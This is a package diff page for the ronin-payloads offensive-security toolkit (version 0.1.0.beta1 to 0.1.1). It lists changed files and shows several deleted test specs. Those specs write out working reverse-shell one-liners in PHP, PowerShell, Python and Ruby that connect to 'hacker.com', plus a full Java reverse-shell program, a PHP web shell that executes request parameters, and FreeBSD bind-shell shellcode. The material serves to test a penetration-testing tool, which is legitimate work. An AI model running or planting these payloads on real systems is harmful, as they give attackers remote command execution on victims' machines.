ronin-payloads 0.1.0.beta1 → 0.1.1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.github/workflows/ruby.yml +16 -1
- data/.rubocop.yml +37 -0
- data/.yardopts +1 -1
- data/ChangeLog.md +13 -1
- data/Gemfile +5 -2
- data/README.md +4 -3
- data/Rakefile +3 -1
- data/bin/ronin-payloads +7 -8
- data/examples/bin_sh.rb +4 -0
- data/gemspec.yml +8 -7
- data/lib/ronin/payloads/asm_payload.rb +2 -2
- data/lib/ronin/payloads/binary_payload.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/php/cmd_exec.rb +5 -4
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +3 -3
- data/lib/ronin/payloads/builtin/test/open_redirect.rb +4 -4
- data/lib/ronin/payloads/builtin/test/xss.rb +4 -4
- data/lib/ronin/payloads/c_payload.rb +2 -2
- data/lib/ronin/payloads/cli/command.rb +1 -1
- data/lib/ronin/payloads/cli/commands/build.rb +11 -13
- data/lib/ronin/payloads/cli/commands/encode.rb +17 -21
- data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoders.rb +2 -2
- data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
- data/lib/ronin/payloads/cli/commands/launch.rb +3 -3
- data/lib/ronin/payloads/cli/commands/list.rb +1 -1
- data/lib/ronin/payloads/cli/commands/new.rb +4 -4
- data/lib/ronin/payloads/cli/commands/show.rb +3 -2
- data/lib/ronin/payloads/cli/encoder_methods.rb +2 -1
- data/lib/ronin/payloads/cli/format_option.rb +1 -1
- data/lib/ronin/payloads/cli/generator/payload_types.rb +4 -3
- data/lib/ronin/payloads/cli/payload_command.rb +1 -1
- data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
- data/lib/ronin/payloads/cli/printing.rb +1 -1
- data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
- data/lib/ronin/payloads/cli.rb +6 -1
- data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
- data/lib/ronin/payloads/command_payload.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/html/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/js/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/encoder.rb +3 -2
- data/lib/ronin/payloads/encoders/exceptions.rb +2 -1
- data/lib/ronin/payloads/encoders/html_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/javascript_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/pipeline.rb +3 -2
- data/lib/ronin/payloads/encoders/powershell_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/registry.rb +5 -1
- data/lib/ronin/payloads/encoders/shell_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/sql_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/xml_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders.rb +1 -1
- data/lib/ronin/payloads/exceptions.rb +2 -1
- data/lib/ronin/payloads/go_payload.rb +2 -2
- data/lib/ronin/payloads/html_payload.rb +1 -1
- data/lib/ronin/payloads/java_payload.rb +2 -2
- data/lib/ronin/payloads/javascript_payload.rb +1 -1
- data/lib/ronin/payloads/jsp_payload.rb +1 -1
- data/lib/ronin/payloads/metadata/arch.rb +2 -1
- data/lib/ronin/payloads/metadata/os.rb +2 -1
- data/lib/ronin/payloads/mixins/binary.rb +1 -1
- data/lib/ronin/payloads/mixins/bind_shell.rb +3 -3
- data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
- data/lib/ronin/payloads/mixins/erb.rb +1 -1
- data/lib/ronin/payloads/mixins/network.rb +1 -1
- data/lib/ronin/payloads/mixins/post_ex.rb +1 -2
- data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
- data/lib/ronin/payloads/mixins/reverse_shell.rb +1 -2
- data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
- data/lib/ronin/payloads/mixins/typescript.rb +2 -3
- data/lib/ronin/payloads/node_js_payload.rb +1 -1
- data/lib/ronin/payloads/payload.rb +8 -8
- data/lib/ronin/payloads/php_payload.rb +1 -1
- data/lib/ronin/payloads/powershell_payload.rb +1 -1
- data/lib/ronin/payloads/python_payload.rb +1 -1
- data/lib/ronin/payloads/registry.rb +4 -1
- data/lib/ronin/payloads/root.rb +1 -1
- data/lib/ronin/payloads/ruby_payload.rb +1 -1
- data/lib/ronin/payloads/rust_payload.rb +2 -2
- data/lib/ronin/payloads/shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode_payload.rb +9 -9
- data/lib/ronin/payloads/sql_payload.rb +1 -1
- data/lib/ronin/payloads/url_payload.rb +3 -3
- data/lib/ronin/payloads/version.rb +2 -2
- data/lib/ronin/payloads/xml_payload.rb +1 -1
- data/lib/ronin/payloads.rb +2 -1
- data/man/ronin-payloads-build.1 +1 -1
- data/man/ronin-payloads-build.1.md +1 -1
- data/man/ronin-payloads-encode.1 +1 -1
- data/man/ronin-payloads-encode.1.md +1 -1
- data/man/ronin-payloads-encoder.1 +1 -1
- data/man/ronin-payloads-encoder.1.md +1 -1
- data/man/ronin-payloads-encoders.1 +1 -1
- data/man/ronin-payloads-encoders.1.md +1 -1
- data/man/ronin-payloads-irb.1 +1 -1
- data/man/ronin-payloads-irb.1.md +1 -1
- data/man/ronin-payloads-launch.1 +1 -1
- data/man/ronin-payloads-launch.1.md +1 -1
- data/man/ronin-payloads-list.1 +1 -1
- data/man/ronin-payloads-list.1.md +1 -1
- data/man/ronin-payloads.1 +1 -1
- data/man/ronin-payloads.1.md +1 -1
- data/ronin-payloads.gemspec +5 -5
- metadata +17 -215
- data/spec/asm_payload_spec.rb +0 -114
- data/spec/binary_payload_spec.rb +0 -8
- data/spec/builtin/cmd/awk/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/bash/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/lua/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/node/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/openssl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/perl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/php/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/powershell/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/python/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/ruby/reverse_shell_spec.rb +0 -38
- data/spec/builtin/java/reverse_shell_spec.rb +0 -103
- data/spec/builtin/php/cmd_exec.rb +0 -52
- data/spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/bind_shell_spec.rb +0 -62
- data/spec/builtin/shellcode/linux/arm/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/mips/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/mips/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/mips/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/ppc/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/ppc/reverse_shell_spec.rb +0 -87
- data/spec/builtin/shellcode/linux/x86/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/x86_64/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/macos/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/windows/x86_64/cmd_spec.rb +0 -54
- data/spec/builtin/test/open_redirect_spec.rb +0 -24
- data/spec/builtin/test/xss_spec.rb +0 -24
- data/spec/c_payload_spec.rb +0 -139
- data/spec/cli/commands/show_spec.rb +0 -21
- data/spec/cli/encoder_methods_spec.rb +0 -275
- data/spec/cli/format_option_spec.rb +0 -187
- data/spec/cli/payload_command_spec.rb +0 -68
- data/spec/cli/payload_methods_spec.rb +0 -208
- data/spec/cli/printing_spec.rb +0 -65
- data/spec/cli/ruby_shell_spec.rb +0 -14
- data/spec/coldfusion_payload_spec.rb +0 -8
- data/spec/command_payload_spec.rb +0 -8
- data/spec/encoders/builtin/html/encode_spec.rb +0 -17
- data/spec/encoders/builtin/js/encode_spec.rb +0 -17
- data/spec/encoders/builtin/powershell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/shell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/sql/encode_spec.rb +0 -17
- data/spec/encoders/builtin/xml/encode_spec.rb +0 -17
- data/spec/encoders/encoder_spec.rb +0 -62
- data/spec/encoders/html_encoder_spec.rb +0 -8
- data/spec/encoders/javascript_encoder_spec.rb +0 -8
- data/spec/encoders/pipeline_spec.rb +0 -153
- data/spec/encoders/powershell_encoder_spec.rb +0 -8
- data/spec/encoders/shell_encoder_spec.rb +0 -8
- data/spec/encoders/sql_encoder_spec.rb +0 -8
- data/spec/encoders/xml_encoder_spec.rb +0 -8
- data/spec/encoders_spec.rb +0 -25
- data/spec/go_payload_spec.rb +0 -56
- data/spec/helpers/encoders.rb +0 -9
- data/spec/helpers/payloads.rb +0 -9
- data/spec/helpers/scripts/payloads/simple.rb +0 -22
- data/spec/html_payload_spec.rb +0 -12
- data/spec/java_payload_spec.rb +0 -97
- data/spec/javascript_payload_spec.rb +0 -12
- data/spec/jsp_payload_spec.rb +0 -8
- data/spec/metadata/arch_spec.rb +0 -82
- data/spec/metadata/os_spec.rb +0 -164
- data/spec/mixins/binary_spec.rb +0 -129
- data/spec/mixins/bind_shell_spec.rb +0 -73
- data/spec/mixins/build_dir.rb +0 -64
- data/spec/mixins/erb_spec.rb +0 -19
- data/spec/mixins/network_spec.rb +0 -75
- data/spec/mixins/post_ex_spec.rb +0 -40
- data/spec/mixins/resolve_host_spec.rb +0 -322
- data/spec/mixins/reverse_shell_spec.rb +0 -103
- data/spec/mixins/tempfile_spec.rb +0 -97
- data/spec/mixins/typescript_spec.rb +0 -92
- data/spec/node_js_payload_spec.rb +0 -8
- data/spec/payload_spec.rb +0 -288
- data/spec/payloads_spec.rb +0 -29
- data/spec/php_payload_spec.rb +0 -8
- data/spec/powershell_payload_spec.rb +0 -16
- data/spec/python_payload_spec.rb +0 -8
- data/spec/ruby_payload_spec.rb +0 -8
- data/spec/rust_payload_spec.rb +0 -116
- data/spec/shell_payload_spec.rb +0 -16
- data/spec/shellcode/bind_shell_payload_spec.rb +0 -42
- data/spec/shellcode/exec_shell_payload_spec.rb +0 -8
- data/spec/shellcode/reverse_shell_payload_spec.rb +0 -136
- data/spec/shellcode_payload_spec.rb +0 -38
- data/spec/spec_helper.rb +0 -7
- data/spec/sql_payload_spec.rb +0 -12
- data/spec/url_payload_spec.rb +0 -72
- data/spec/xml_payload_spec.rb +0 -12
@@ -1,38 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/cmd/php/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::CMD::PHP::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::CommandPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::CommandPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'cmd/php/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('cmd/php/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
let(:host) { 'hacker.com' }
|
18
|
-
let(:port) { 1337 }
|
19
|
-
|
20
|
-
subject do
|
21
|
-
described_class.new(
|
22
|
-
params: {
|
23
|
-
host: host,
|
24
|
-
port: port
|
25
|
-
}
|
26
|
-
)
|
27
|
-
end
|
28
|
-
|
29
|
-
describe "#build" do
|
30
|
-
before { subject.build }
|
31
|
-
|
32
|
-
it "must build an `php` command that connects back to the host and port params" do
|
33
|
-
expect(subject.payload).to eq(
|
34
|
-
%{php -r '$sock=fsockopen(#{host.dump},#{port});exec("/bin/sh -i <&3 >&3 2>&3");'}
|
35
|
-
)
|
36
|
-
end
|
37
|
-
end
|
38
|
-
end
|
@@ -1,38 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/cmd/powershell/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::CMD::PowerShell::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::CommandPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::CommandPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'cmd/python/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('cmd/powershell/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
let(:host) { 'hacker.com' }
|
18
|
-
let(:port) { 1337 }
|
19
|
-
|
20
|
-
subject do
|
21
|
-
described_class.new(
|
22
|
-
params: {
|
23
|
-
host: host,
|
24
|
-
port: port
|
25
|
-
}
|
26
|
-
)
|
27
|
-
end
|
28
|
-
|
29
|
-
describe "#build" do
|
30
|
-
before { subject.build }
|
31
|
-
|
32
|
-
it "must build an `powershell` command that connects back to the host and port params" do
|
33
|
-
expect(subject.payload).to eq(
|
34
|
-
%{powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(#{host.dump},#{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}
|
35
|
-
)
|
36
|
-
end
|
37
|
-
end
|
38
|
-
end
|
@@ -1,38 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/cmd/python/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::CMD::Python::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::CommandPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::CommandPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'cmd/python/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('cmd/python/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
let(:host) { 'hacker.com' }
|
18
|
-
let(:port) { 1337 }
|
19
|
-
|
20
|
-
subject do
|
21
|
-
described_class.new(
|
22
|
-
params: {
|
23
|
-
host: host,
|
24
|
-
port: port
|
25
|
-
}
|
26
|
-
)
|
27
|
-
end
|
28
|
-
|
29
|
-
describe "#build" do
|
30
|
-
before { subject.build }
|
31
|
-
|
32
|
-
it "must build an `python` command that connects back to the host and port params" do
|
33
|
-
expect(subject.payload).to eq(
|
34
|
-
%{python -c 'import socket,os,pty;s=socket.socket();s.connect((#{host.dump},#{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'}
|
35
|
-
)
|
36
|
-
end
|
37
|
-
end
|
38
|
-
end
|
@@ -1,38 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/cmd/ruby/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::CMD::Ruby::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::CommandPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::CommandPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'cmd/ruby/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('cmd/ruby/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
let(:host) { 'hacker.com' }
|
18
|
-
let(:port) { 1337 }
|
19
|
-
|
20
|
-
subject do
|
21
|
-
described_class.new(
|
22
|
-
params: {
|
23
|
-
host: host,
|
24
|
-
port: port
|
25
|
-
}
|
26
|
-
)
|
27
|
-
end
|
28
|
-
|
29
|
-
describe "#build" do
|
30
|
-
before { subject.build }
|
31
|
-
|
32
|
-
it "must build an `ruby` command that connects back to the host and port params" do
|
33
|
-
expect(subject.payload).to eq(
|
34
|
-
%{ruby -rsocket -e'f=TCPSocket.open(#{host.dump},#{port}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'}
|
35
|
-
)
|
36
|
-
end
|
37
|
-
end
|
38
|
-
end
|
@@ -1,103 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/java/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Java::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::JavaPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::JavaPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'java/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('java/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
let(:host) { 'hacker.com' }
|
18
|
-
let(:port) { 1337 }
|
19
|
-
|
20
|
-
subject do
|
21
|
-
described_class.new(
|
22
|
-
params: {
|
23
|
-
host: host,
|
24
|
-
port: port
|
25
|
-
}
|
26
|
-
)
|
27
|
-
end
|
28
|
-
|
29
|
-
describe "#build" do
|
30
|
-
before { subject.perform_build }
|
31
|
-
|
32
|
-
it "must generate generate a new .java file containing the host and port" do
|
33
|
-
expect(File.read(subject.java_file)).to eq(
|
34
|
-
<<~JAVA
|
35
|
-
import java.io.IOException;
|
36
|
-
import java.io.InputStream;
|
37
|
-
import java.io.OutputStream;
|
38
|
-
import java.net.Socket;
|
39
|
-
|
40
|
-
public class Payload
|
41
|
-
{
|
42
|
-
public static void main(String argv[]) throws Exception
|
43
|
-
{
|
44
|
-
String host = "#{host}";
|
45
|
-
int port = #{port};
|
46
|
-
String shell = "/bin/sh";
|
47
|
-
|
48
|
-
Process process = new ProcessBuilder(shell).redirectErrorStream(true).start();
|
49
|
-
Socket socket = new Socket(host,port);
|
50
|
-
|
51
|
-
InputStream process_input =process.getInputStream();
|
52
|
-
InputStream process_error = process.getErrorStream();
|
53
|
-
InputStream socket_input = socket.getInputStream();
|
54
|
-
OutputStream process_output = process.getOutputStream();
|
55
|
-
OutputStream socket_output = socket.getOutputStream();
|
56
|
-
|
57
|
-
while (!socket.isClosed())
|
58
|
-
{
|
59
|
-
while (process_input.available()>0)
|
60
|
-
{
|
61
|
-
socket_output.write(process_input.read());
|
62
|
-
}
|
63
|
-
|
64
|
-
while (process_error.available()>0)
|
65
|
-
{
|
66
|
-
socket_output.write(process_error.read());
|
67
|
-
}
|
68
|
-
|
69
|
-
while (socket_input.available()>0)
|
70
|
-
{
|
71
|
-
process_output.write(socket_input.read());
|
72
|
-
}
|
73
|
-
|
74
|
-
socket_output.flush();
|
75
|
-
process_output.flush();
|
76
|
-
Thread.sleep(50);
|
77
|
-
|
78
|
-
try
|
79
|
-
{
|
80
|
-
process.exitValue();
|
81
|
-
break;
|
82
|
-
}
|
83
|
-
catch (Exception e) {}
|
84
|
-
};
|
85
|
-
|
86
|
-
process.destroy();
|
87
|
-
socket.close();
|
88
|
-
}
|
89
|
-
}
|
90
|
-
JAVA
|
91
|
-
)
|
92
|
-
end
|
93
|
-
|
94
|
-
it "must compile a new Java .class file" do
|
95
|
-
expect(File.file?(subject.class_file)).to be(true)
|
96
|
-
expect(File.empty?(subject.class_file)).to be(false)
|
97
|
-
end
|
98
|
-
|
99
|
-
it "must set #payload" do
|
100
|
-
expect(subject.payload).to eq(File.binread(subject.class_file))
|
101
|
-
end
|
102
|
-
end
|
103
|
-
end
|
@@ -1,52 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/php/cmd_exec'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::PHP::CmdExec do
|
5
|
-
it "must inherit from Ronin::Payloads::JavaPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::PHPPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'php/cmd_exec'" do
|
13
|
-
expect(subject.id).to eq('php/cmd_exec')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe "params" do
|
18
|
-
describe "query_param" do
|
19
|
-
it "must default to 'cmd'" do
|
20
|
-
expect(subject.params[:query_param]).to eq('cmd')
|
21
|
-
end
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe "#build" do
|
26
|
-
before { subject.build }
|
27
|
-
|
28
|
-
it "must return PHP code that executes the command from the 'cmd' query_param and returns the output in <exec>...</exec> tags" do
|
29
|
-
expect(subject.payload).to eq(
|
30
|
-
%{<?php if(isset($_REQUEST["cmd")){echo "<exec>";passthru($_REQUEST["cmd"]);echo "</exec>";}?>}
|
31
|
-
)
|
32
|
-
end
|
33
|
-
|
34
|
-
context "when the query_param param is set to a different value" do
|
35
|
-
let(:query_param) { 'other' }
|
36
|
-
|
37
|
-
subject do
|
38
|
-
described_class.new(
|
39
|
-
params: {
|
40
|
-
query_param: query_param
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
it "must return PHP code that executes the command from the query_param and returns the output in <exec>...</exec> tags" do
|
46
|
-
expect(subject.payload).to eq(
|
47
|
-
%{<?php if(isset($_REQUEST["#{query_param}")){echo "<exec>";passthru($_REQUEST["#{query_param}"]);echo "</exec>";}?>}
|
48
|
-
)
|
49
|
-
end
|
50
|
-
end
|
51
|
-
end
|
52
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::FreeBSD::X86::BindShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/freebsd/x86/bind_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/freebsd/x86/bind_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :freebsd" do
|
29
|
-
expect(subject.os).to be(:freebsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { 'example.com' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\xeb\x64\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46\x0a\x05\x39\x89\x46\x0c\x6a\x10\x8d\x46\x08\x50\x52\x31\xc0\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd\x80\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::FreeBSD::X86::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
